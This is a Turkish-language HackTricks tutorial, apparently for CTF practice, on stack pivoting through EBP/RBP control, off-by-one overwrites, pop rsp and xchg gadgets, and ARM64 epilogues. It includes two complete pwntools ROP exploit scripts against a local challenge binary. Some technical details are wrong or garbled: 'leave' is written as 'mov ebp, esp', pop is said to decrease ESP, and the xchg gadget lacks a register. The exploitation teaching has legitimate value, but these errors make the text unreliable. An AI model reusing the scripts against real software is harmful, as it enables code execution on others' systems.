# Stack Pivoting - EBP2Ret - EBP chaining {{#include ../../banners/hacktricks-training.md}} ## Temel Bilgiler Bu teknik, **Base Pointer (EBP)**'yi manipüle etme yeteneğini kullanarak, EBP kaydının dikkatli kullanımı ve **`leave; ret`** talimat dizisi aracılığıyla birden fazla işlevin yürütülmesini zincirleme yeteneğini istismar eder. Hatırlatmak gerekirse, **`leave`** temelde şunu ifade eder: ``` mov ebp, esp pop ebp ret ``` Ve **EBP yığında** EIP'den önce olduğu için, yığını kontrol ederek bunu kontrol etmek mümkündür. ### EBP2Ret Bu teknik, **EBP kaydını değiştirebildiğiniz ancak EIP kaydını doğrudan değiştirme yolunuzun olmadığı** durumlarda özellikle faydalıdır. Fonksiyonların çalışmayı bitirdiğinde gösterdiği davranışı kullanır. Eğer `fvuln`'in çalışması sırasında, yığında shellcode'unuzun adresine işaret eden bir **sahte EBP** enjekte etmeyi başarırsanız (artı `pop` işlemi için 4 byte ekleyerek), EIP'yi dolaylı olarak kontrol edebilirsiniz. `fvuln` döndüğünde, ESP bu hazırlanmış konuma ayarlanır ve sonraki `pop` işlemi ESP'yi 4 azaltır, **etkili bir şekilde orada saldırgan tarafından saklanan bir adrese işaret eder.**\ **2 adresi bilmeniz gerektiğine dikkat edin**: ESP'nin gideceği adres ve ESP tarafından işaret edilen adresi yazmanız gereken yer. #### Exploit Yapısı Öncelikle, **rastgele veri/adres yazabileceğiniz bir adresi bilmeniz gerekir**. ESP buraya işaret edecek ve **ilk `ret`** çalıştırılacak. Sonra, **rastgele kodu çalıştıracak** `ret` tarafından kullanılan adresi bilmeniz gerekir. Şunları kullanabilirsiniz: - Geçerli bir [**ONE_GADGET**](https://github.com/david942j/one_gadget) adresi. - **`system()`** adresi, ardından **4 gereksiz byte** ve `"/bin/sh"` adresi (x86 bitleri). - **`jump esp;`** gadget'ının adresi ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) ardından çalıştırılacak **shellcode**. - Bazı [**ROP**](../rop-return-oriented-programing/index.html) zincirleri. Kontrollü bellek kısmındaki bu adreslerden önce **`4` byte** bulunması gerektiğini unutmayın, çünkü **`pop`** kısmı `leave` talimatının bir parçasıdır. Bu 4B'yi, **ikinci sahte EBP** ayarlamak ve yürütmeyi kontrol etmeye devam etmek için kötüye kullanmak mümkündür. #### Off-By-One Exploit Bu tekniğin "Off-By-One Exploit" olarak bilinen özel bir varyantı vardır. **EBP'nin en az anlamlı byte'ını yalnızca değiştirebildiğiniz** durumlarda kullanılır. Böyle bir durumda, **`ret`** ile atlanacak adresi saklayan bellek konumu, EBP ile ilk üç byte'ı paylaşmalıdır, bu da daha kısıtlı koşullarla benzer bir manipülasyona izin verir.\ Genellikle, mümkün olduğunca uzağa atlamak için byte 0x00 değiştirilir. Ayrıca, yığında bir RET sled kullanmak ve gerçek ROP zincirini en sona koymak yaygındır, böylece yeni ESP'nin RET SLED'in içine işaret etmesi ve nihai ROP zincirinin çalıştırılması daha olası hale gelir. ### **EBP Zincirleme** Bu nedenle, yığın üzerindeki `EBP` girişine kontrol edilen bir adres koyarak ve `EIP`'de `leave; ret` adresi koyarak, **`ESP`'yi yığın üzerindeki kontrol edilen `EBP` adresine taşımak mümkündür**. Artık, **`ESP`** istenen bir adrese işaret ediyor ve yürütülecek bir sonraki talimat bir `RET`. Bunu kötüye kullanmak için, kontrol edilen ESP yerine şunları yerleştirmek mümkündür: - **`&(next fake EBP)`** -> `leave` talimatından `pop ebp` nedeniyle yeni EBP'yi yükle - **`system()`** -> `ret` tarafından çağrılır - **`&(leave;ret)`** -> sistem sona erdikten sonra çağrılır, ESP'yi sahte EBP'ye taşır ve tekrar başlar - **`&("/bin/sh")`**-> `system` için parametre Temelde bu şekilde, programın akışını kontrol etmek için birkaç sahte EBP'yi zincirlemek mümkündür. Bu, [ret2lib](../rop-return-oriented-programing/ret2lib/index.html) gibidir, ancak görünür bir faydası olmadan daha karmaşıktır, ancak bazı kenar durumlarında ilginç olabilir. Ayrıca, bu tekniği kullanan bir [**challenge örneği**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) burada bulunmaktadır ve bir **stack leak** ile kazanan bir fonksiyonu çağırır. Bu sayfanın son yükü: ```python from pwn import * elf = context.binary = ELF('./vuln') p = process() p.recvuntil('to: ') buffer = int(p.recvline(), 16) log.success(f'Buffer: {hex(buffer)}') LEAVE_RET = 0x40117c POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 payload = flat( 0x0, # rbp (could be the address of anoter fake RBP) POP_RDI, 0xdeadbeef, POP_RSI_R15, 0xdeadc0de, 0x0, elf.sym['winner'] ) payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP) payload += flat( buffer, # Load leak address in RBP LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it ) pause() p.sendline(payload) print(p.recvline()) ``` ## EBP kullanılmayabilir As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), eğer bir ikili bazı optimizasyonlarla derlenmişse, **EBP asla ESP'yi kontrol edemez**, bu nedenle EBP'yi kontrol ederek çalışan herhangi bir istismar temelde başarısız olur çünkü gerçek bir etkisi yoktur.\ Bu, **prolog ve epilog değişiklikleri** ikili optimize edildiğinde gerçekleşir. - **Optimize edilmemiş:** ```bash push %ebp # save ebp mov %esp,%ebp # set new ebp sub $0x100,%esp # increase stack size . . . leave # restore ebp (leave == mov %ebp, %esp; pop %ebp) ret # return ``` - **Optimize edilmiş:** ```bash push %ebx # save ebx sub $0x100,%esp # increase stack size . . . add $0x10c,%esp # reduce stack size pop %ebx # restore ebx ret # return ``` ## RSP'yi Kontrol Etmenin Diğer Yolları ### **`pop rsp`** aracı [**Bu sayfada**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) bu tekniği kullanan bir örnek bulabilirsiniz. Bu zorluk için 2 belirli argümanla bir fonksiyon çağrılması gerekiyordu ve bir **`pop rsp` aracı** vardı ve **stack'ten bir leak** vardı: ```python # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp # This version has added comments from pwn import * elf = context.binary = ELF('./vuln') p = process() p.recvuntil('to: ') buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user log.success(f'Buffer: {hex(buffer)}') POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 # pop RSI and R15 # The payload starts payload = flat( 0, # r13 0, # r14 0, # r15 POP_RDI, 0xdeadbeef, POP_RSI_R15, 0xdeadc0de, 0x0, # r15 elf.sym['winner'] ) payload = payload.ljust(104, b'A') # pad to 104 # Start popping RSP, this moves the stack to the leaked address and # continues the ROP chain in the prepared payload payload += flat( POP_CHAIN, buffer # rsp ) pause() p.sendline(payload) print(p.recvline()) ``` ### xchg \, rsp gadget ``` pop <=== return pointer xchg , rsp ``` ### jmp esp ret2esp tekniğini burada kontrol edin: {{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}} ## Referanslar ve Diğer Örnekler - [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) - [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) - [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html) - 64 bit, bir ret sled ile başlayan bir rop zinciri ile bir off by one istismarı - [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html) - 64 bit, no relro, canary, nx ve pie. Program, yığın veya pie için bir leak ve bir qword için bir WWW sağlar. Önce yığın leak'ini alın ve pie leak'ini almak için WWW'yi kullanın. Ardından, `.fini_array` girişlerini kötüye kullanarak sonsuz bir döngü oluşturmak için WWW'yi kullanın + `__libc_csu_fini` çağrısı ([daha fazla bilgi burada](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Bu "sonsuz" yazmayı kötüye kullanarak, .bss içinde bir ROP zinciri yazılır ve RBP ile pivotlama ile çağrılır. ## ARM64 ARM64'te, fonksiyonların **prologları ve epilogları** **SP kaydını** yığında saklamaz ve geri almaz. Dahası, **`RET`** komutu SP tarafından işaret edilen adrese dönmez, ancak **`x30`** içindeki adrese döner. Bu nedenle, varsayılan olarak, sadece epilogu kötüye kullanarak **SP kaydını kontrol edemezsiniz** yığın içindeki bazı verileri üzerine yazarak. Ve SP'yi kontrol etmeyi başarırsanız bile, **`x30`** kaydını **kontrol etmenin** bir yoluna ihtiyacınız olacaktır. - prolog ```armasm sub sp, sp, 16 stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30 mov x29, sp // FP çerçeve kaydına işaret eder ``` - epilog ```armasm ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8] add sp, sp, 16 ret ``` > [!CAUTION] > ARM64'te yığın pivotlamaya benzer bir şey gerçekleştirme yolu, **`SP`'yi kontrol edebilmek** (SP'ye geçirilen bir kaydı kontrol ederek veya bir nedenle SP'nin adresini yığından alması ve bir taşma yaşanması durumunda) ve ardından **epilogu kötüye kullanarak** **kontrollü bir `SP`'den** **`x30`** kaydını yüklemek ve **`RET`** ile ona dönmektir. Ayrıca, aşağıdaki sayfada **Ret2esp'in ARM64'teki** eşdeğerini görebilirsiniz: {{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}} {{#include ../../banners/hacktricks-training.md}}